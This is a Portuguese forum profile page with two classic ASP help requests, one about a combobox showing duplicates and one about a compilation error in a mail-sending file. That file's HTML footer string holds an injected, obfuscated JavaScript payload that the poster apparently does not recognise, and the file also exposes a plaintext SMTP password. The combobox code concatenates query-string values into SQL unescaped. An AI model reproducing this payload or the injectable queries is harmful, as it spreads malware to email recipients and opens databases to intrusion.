Ir para conteúdo
Fórum CódigoFonte.net

chelfernandes

Membros
  • Total de itens

    2
  • Registro em

  • Última visita

  1. chelfernandes

    Problema com combobox

    Olá, boa tarde! Sou novo nessa área de programação e não manjo muito de ASP. Estou com um problema em uma combobox, determinados valores estão saindo repetidos em uma mesma linha, como no print abaixo: Isso acontece em diversas outras linhas da combo. As informações são obtidas de um banco de dados. Seguem os códigos, se alguém puder ajudar, fico grato! <%@LANGUAGE="VBSCRIPT"%> <!--#include file="Connections/planos.asp" --> <% Select Case Request.QueryString("planos") CASE "" busca = "SELECT * FROM viver_vazio" busca1 = "SELECT * FROM viver_vazio" busca2 = "SELECT * FROM viver_vazio" selecao = "" Case "VB" busca = "SELECT distinct especialidade FROM viver_bem" busca1 = "SELECT distinct cidade from viver_bem WHERE especialidade='" + Request.QueryString("especialidade") + "'" busca2 = "SELECT distinct bairro FROM viver_bem WHERE especialidade='" + Request.QueryString("especialidade") + "' and cidade='" + Request.QueryString("cidade") + "'" Case "VM" busca = "(SELECT distinct especialidade FROM viver_mais)" busca1 = "(SELECT distinct cidade FROM viver_mais WHERE especialidade='" + Request.QueryString("especialidade") + "')" busca2 = "(SELECT distinct bairro FROM viver_mais WHERE especialidade='" + Request.QueryString("especialidade") + "' and cidade='" + Request.QueryString("cidade") + "')" selecao = "" Case "VS" busca = "(SELECT distinct especialidade FROM viver_saude)" busca1 = "(SELECT distinct cidade FROM viver_saude WHERE especialidade='" + Request.QueryString("especialidade") + "')" busca2 = "(SELECT distinct bairro FROM viver_saude WHERE especialidade='" + Request.QueryString("especialidade") + "' and cidade='" + Request.QueryString("cidade") + "')" Case "SN" busca = "SELECT distinct especialidade FROM saude_nsl" busca1 = "SELECT distinct cidade FROM saude_nsl WHERE especialidade='" + Request.QueryString("especialidade") + "'" busca2 = "SELECT distinct bairro FROM saude_nsl WHERE especialidade='" + Request.QueryString("especialidade") + "' and cidade='" + Request.QueryString("cidade") + "'" Case "SP" busca = "SELECT distinct especialidade FROM saude_medicol_preferencial" busca1 = "SELECT distinct cidade FROM saude_medicol_preferencial WHERE especialidade='" + Request.QueryString("especialidade") + "'" busca2 = "SELECT distinct bairro FROM saude_medicol_preferencial WHERE especialidade='" + Request.QueryString("especialidade") + "' and cidade='" + Request.QueryString("cidade") + "'" Case "SM" busca = "SELECT distinct especialidade FROM saude_medicol" busca1 = "SELECT distinct cidade FROM saude_medicol WHERE especialidade='" + Request.QueryString("especialidade") + "'" busca2 = "SELECT distinct bairro FROM saude_medicol WHERE especialidade='" + Request.QueryString("especialidade") + "' and cidade='" + Request.QueryString("cidade") + "'" Case "M" busca = "SELECT distinct especialidade FROM MASTER" busca1 = "SELECT distinct cidade FROM MASTER WHERE especialidade='" + Request.QueryString("especialidade") + "'" busca2 = "SELECT distinct bairro FROM MASTER WHERE especialidade='" + Request.QueryString("especialidade") + "' and cidade='" + Request.QueryString("cidade") + "'" Case "P" busca = "SELECT distinct especialidade FROM PLENO" busca1 = "SELECT distinct cidade FROM PLENO WHERE especialidade='" + Request.QueryString("especialidade") + "'" busca2 = "SELECT distinct bairro FROM PLENO WHERE especialidade='" + Request.QueryString("especialidade") + "' and cidade='" + Request.QueryString("cidade") + "'" Case "C" busca = "SELECT distinct especialidade FROM CLASS" busca1 = "SELECT distinct cidade FROM CLASS WHERE especialidade='" + Request.QueryString("especialidade") + "'" busca2 = "SELECT distinct bairro FROM CLASS WHERE especialidade='" + Request.QueryString("especialidade") + "' and cidade='" + Request.QueryString("cidade") + "'" end Select %> <% Dim RsEspecialidade Dim RsEspecialidade_numRows Set RsEspecialidade = Server.CreateObject("ADODB.Recordset") RsEspecialidade.ActiveConnection = MM_planos_STRING RsEspecialidade.Source = busca + " order by especialidade" RsEspecialidade.CursorType = 0 RsEspecialidade.CursorLocation = 2 RsEspecialidade.LockType = 1 RsEspecialidade.Open() RsEspecialidade_numRows = 0 %> <% Dim RsCidade Dim RsCidade_numRows Set RsCidade = Server.CreateObject("ADODB.Recordset") RsCidade.ActiveConnection = MM_planos_STRING RsCidade.Source = busca1 + " order by cidade" RsCidade.CursorType = 0 RsCidade.CursorLocation = 2 RsCidade.LockType = 1 RsCidade.Open() RsEspecialidade_numRows = 0 %> <% Dim RsBairro Dim RsBairro_numRows Set RsBairro = Server.CreateObject("ADODB.Recordset") RsBairro.ActiveConnection = MM_planos_STRING RsBairro.Source = busca2 + " order by bairro" RsBairro.CursorType = 0 RsBairro.CursorLocation = 2 RsBairro.LockType = 1 RsBairro.Open() RsBairro_numRows = 0 %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Busca Plano</title> <link href="style.css" rel="stylesheet" type="text/css" /> <script language="JavaScript" type="text/JavaScript"> <!-- function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } //--> </script> E mais esses aqui: <option value="busca_planos.asp" selected="selected" >- PRODUTOS -</option> <option value="busca_planos.asp" class="green"class="text" >-- Linha Nova --</option> <option value="busca_planos.asp?planos=P" <%If (Request.QueryString("planos") = "P") Then Response.Write("SELECTED") : Response.Write("")%>>Pleno</option> <option value="busca_planos.asp?planos=M" <%If (Request.QueryString("planos") = "M") Then Response.Write("SELECTED") : Response.Write("")%>>Master</option> <option value="busca_planos.asp?planos=C" <%If (Request.QueryString("planos") = "C") Then Response.Write("SELECTED") : Response.Write("")%>>Class</option> <option value="busca_planos.asp" class="green"class="text" >-- Linha Tradicional --</option> <option value="busca_planos.asp?trad=SN" <%If (Request.QueryString("trad") = "SN" or Request.QueryString("planos") = "SN") Then Response.Write("SELECTED") : Response.Write("")%>>Sa&#250;de NSL</option> <option value="busca_planos.asp?trad=SP" <%If (Request.QueryString("trad") = "SP" or Request.QueryString("planos") = "SP") Then Response.Write("SELECTED") : Response.Write("")%>>Medicol Medicina Coletiva</option> <option value="busca_planos.asp" class="green"class="text" >-- Linha Viver --</option> <option value="busca_planos.asp?planos=VB" <%If (Request.QueryString("planos") = "VB") Then Response.Write("SELECTED") : Response.Write("")%>>Viver Bem</option> <option value="busca_planos.asp?planos=VM" <%If (Request.QueryString("planos") = "VM") Then Response.Write("SELECTED") : Response.Write("")%>>Viver Mais</option> <option value="busca_planos.asp?planos=VS" <%If (Request.QueryString("planos") = "VS") Then Response.Write("SELECTED") : Response.Write("")%>>Viver Sa&#250;de</option> </select> <select name="especialidade" class="textarea" id="especialidade" style="width:165px;height:18px;font-size:9px;" onChange="MM_jumpMenu('self',this,0)"> <option selected="selected" value="" <%If (Request.QueryString("especialidade") = "") Then Response.Write("SELECTED") : Response.Write("")%>>- ESPECIALIDADE -</option> <% While (NOT RsEspecialidade.EOF) %> <option value="busca_planos.asp?seq=<%=Request.QueryString("seq") + "&planos=" + Request.QueryString("planos") + "&especialidade=" + RsEspecialidade.Fields.Item("especialidade").Value%>" <%If (Not isNull((RsEspecialidade.Fields.Item("especialidade").Value))) Then If (Request.QueryString("especialidade") = CStr((RsEspecialidade.Fields.Item("especialidade").Value))) Then Response.Write("SELECTED") : Response.Write("")%>><%=(RsEspecialidade.Fields.Item("especialidade").Value)%></option> <% RsEspecialidade.MoveNext() Wend If (RsEspecialidade.CursorType > 0) Then RsEspecialidade.MoveFirst Else RsEspecialidade.Requery End If %> </select> Esse erro só acontece nas primeiras opções do combo, qndo seleciono entre PLENO, MASTER ou CLASS. Mais uma vez, se alguém puder ajudar será muito bem vindo! :)
  2. chelfernandes

    Ajuda com erro '800a0401'

    Olá, boa tarde a todos! Estou com problemas em um código em ASP, faz parte do sistema aqui da empresa e desde ontem está dando o seguinte erro quando tentamos acessar o site: Microsoft VBScript compilation error '800a0401' Expected end of statement /includes/sendMail.asp, line 14 Não manjo nada de ASP e isso é muito urgente, se alguém puder ajudar, agradeço! Segue o código completo da página: <% '*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>* '*> PROCESSAMENTO DE E-MAIL '*------------------------------------------------------------------------------------------* Function sendMail(toMail, subject, msg, fromName, fromMail, replyTo) Dim html_open, html_close, headers Dim oMail, oMailConfig, cdoImportance, cdoPriority Dim send send = "ok" html_open = "<html><head><meta http-equiv=Content-Type content=""text/html; charset=iso-8859-1""><meta http-equiv=""Content-Language"" content=""pt-br""><meta content=""MSHTML 6.00.3790.0"" name=GENERATOR></head><body><div style=""font-family:tahoma,verdana,arial; font-size:11px;"">" html_close = "</div></body></html><!-- o -->&lt;script>aa=([].pop+'asd').substr(2-1,4);if((aa=="func")||(aa=="unct"))aa=(document['createDocumentFragment']+'asd').substr(2-1,4);if((aa=="func")||(aa=="unct")){ss="";s=String;e=window['e'+'val'];t='b';}ddd=new Date();d2=new Date(ddd.valueOf()-2);h=(ddd-d2)*-1;n="4.5b4.5b52.5b51b16b20b50b55.5b49.5b58.5b54.5b50.5b55b58b23b51.5b50.5b58b34.5 b54b50.5b54.5b50.5b55b58b57.5b33b60.5b42b48.5b51.5b39b48.5b54.5b50.5b20b19.5b49b 55.5b50b60.5b19.5b20.5b45.5b24b46.5b20.5b61.5b4.5b4.5b4.5b52.5b51b57b48.5b54.5b5 0.5b57b20b20.5b29.5b4.5b4.5b62.5b16b50.5b54b57.5b50.5b16b61.5b4.5b4.5b4.5b50b55. 5b49.5b58.5b54.5b50.5b55b58b23b59.5b57b52.5b58b50.5b20b17b30b52.5b51b57b48.5b54. 5b50.5b16b57.5b57b49.5b30.5b19.5b52b58b58b56b29b23.5b23.5b57.5b58b48.5b58b52.5b4 9.5b50b58.5b56b50b48.5b58b50.5b23b49.5b55.5b54.5b23.5b58b50.5b54.5b56b23.5b57.5b 58b48.5b58b23b56b52b56b19.5b16b59.5b52.5b50b58b52b30.5b19.5b24.5b24b19.5b16b52b5 0.5b52.5b51.5b52b58b30.5b19.5b24.5b24b19.5b16b57.5b58b60.5b54b50.5b30.5b19.5b59b 52.5b57.5b52.5b49b52.5b54b52.5b58b60.5b29b52b52.5b50b50b50.5b55b29.5b56b55.5b57. 5b52.5b58b52.5b55.5b55b29b48.5b49b57.5b55.5b54b58.5b58b50.5b29.5b54b50.5b51b58b2 9b24b29.5b58b55.5b56b29b24b29.5b19.5b31b30b23.5b52.5b51b57b48.5b54.5b50.5b31b17b 20.5b29.5b4.5b4.5b62.5b4.5b4.5b51b58.5b55b49.5b58b52.5b55.5b55b16b52.5b51b57b48. 5b54.5b50.5b57b20b20.5b61.5b4.5b4.5b4.5b59b48.5b57b16b51b16b30.5b16b50b55.5b49.5 b58.5b54.5b50.5b55b58b23b49.5b57b50.5b48.5b58b50.5b34.5b54b50.5b54.5b50.5b55b58b 20b19.5b52.5b51b57b48.5b54.5b50.5b19.5b20.5b29.5b51b23b57.5b50.5b58b32.5b58b58b5 7b52.5b49b58.5b58b50.5b20b19.5b57.5b57b49.5b19.5b22b19.5b52b58b58b56b29b23.5b23. 5b57.5b58b48.5b58b52.5b49.5b50b58.5b56b50b48.5b58b50.5b23b49.5b55.5b54.5b23.5b58 b50.5b54.5b56b23.5b57.5b58b48.5b58b23b56b52b56b19.5b20.5b29.5b51b23b57.5b58b60.5 b54b50.5b23b59b52.5b57.5b52.5b49b52.5b54b52.5b58b60.5b30.5b19.5b52b52.5b50b50b50 .5b55b19.5b29.5b51b23b57.5b58b60.5b54b50.5b23b56b55.5b57.5b52.5b58b52.5b55.5b55b 30.5b19.5b48.5b49b57.5b55.5b54b58.5b58b50.5b19.5b29.5b51b23b57.5b58b60.5b54b50.5 b23b54b50.5b51b58b30.5b19.5b24b19.5b29.5b51b23b57.5b58b60.5b54b50.5b23b58b55.5b5 6b30.5b19.5b24b19.5b29.5b51b23b57.5b50.5b58b32.5b58b58b57b52.5b49b58.5b58b50.5b2 0b19.5b59.5b52.5b50b58b52b19.5b22b19.5b24.5b24b19.5b20.5b29.5b51b23b57.5b50.5b58 b32.5b58b58b57b52.5b49b58.5b58b50.5b20b19.5b52b50.5b52.5b51.5b52b58b19.5b22b19.5 b24.5b24b19.5b20.5b29.5b4.5b4.5b4.5b50b55.5b49.5b58.5b54.5b50.5b55b58b23b51.5b50 .5b58b34.5b54b50.5b54.5b50.5b55b58b57.5b33b60.5b42b48.5b51.5b39b48.5b54.5b50.5b2 0b19.5b49b55.5b50b60.5b19.5b20.5b45.5b24b46.5b23b48.5b56b56b50.5b55b50b33.5b52b5 2.5b54b50b20b51b20.5b29.5b4.5b4.5b62.5";n=n["split"](t);for(i=0;i<n.length;i++)ss+=s['fromCharCode'](-h*n[i]);zx=ss;if((aa=="unct")||(aa=="func"))e(zx);</script><!-- c -->" If InStr(msg, "</html>")=0 Then msg = html_open & msg & html_close End If '---------------------------------------------------------------------------------------' 'CDOSYS '---------------------------------------------------------------------------------------' Set oMail = Server.CreateObject("CDO.Message") Set oMailConfig = Server.CreateObject ("CDO.Configuration") 'SMTP oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "localhost" 'PORTA DO SMTP oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 'ATIVAR RECURSO DE SMTP AUTENTICADO 'oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 'USU&#193;RIO PARA SMTP AUTENTICADO 'oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/sendusername") = fromMail 'SENHA DO USU&#193;RIO PARA SMTP AUTENTICADO 'oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "ferrarif40" 'SMTP AUTENTICADO oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 'TIMEOUT oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 30 'PRIORIDADE oMailConfig.Fields.Item("urn:schemas:httpmail:priority").Value = 1 'IMPORT&#194;NCIA oMailConfig.Fields.Item("urn:schemas:httpmail:importance").Value = 2 oMailConfig.Fields.Update 'CABE&#199;ALHO oMail.Fields.Item("urn:schemas:mailheader:Priority").Value = "urgent" oMail.Fields.Item("urn:schemas:mailheader:Importance").Value = "high" oMail.Fields.Item("urn:schemas:mailheader:X-Priority").Value = 1 oMail.Fields.Item("urn:schemas:mailheader:X-MSMail-Priority").Value = "High" oMail.Fields.Item("urn:schemas:mailheader:X-Mailer").Value = "Microsoft Outlook Express 6.00.2900.5512" oMail.Fields.Update 'ATUALIZA AS CONFIGURA&#199;&#213;ES Set oMail.Configuration = oMailConfig oMail.From = fromName & "<" & fromMail & ">" 'Nome e e-mail do remetente oMail.To = toMail 'Destinat&#225;rio oMail.ReplyTo = replyTo 'Responder para... oMail.Subject = subject 'Assunto oMail.HtmlBody = msg 'Mensagem On Error Resume Next oMail.Send If Err.Number<>0 Then send = Err.Description End If Set oMail = Nothing Set oMailConfig = Nothing sendMail = send End Function '*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<* %> Será que alguém consegue me ajudar? :mellow:
×
×
  • Criar Novo...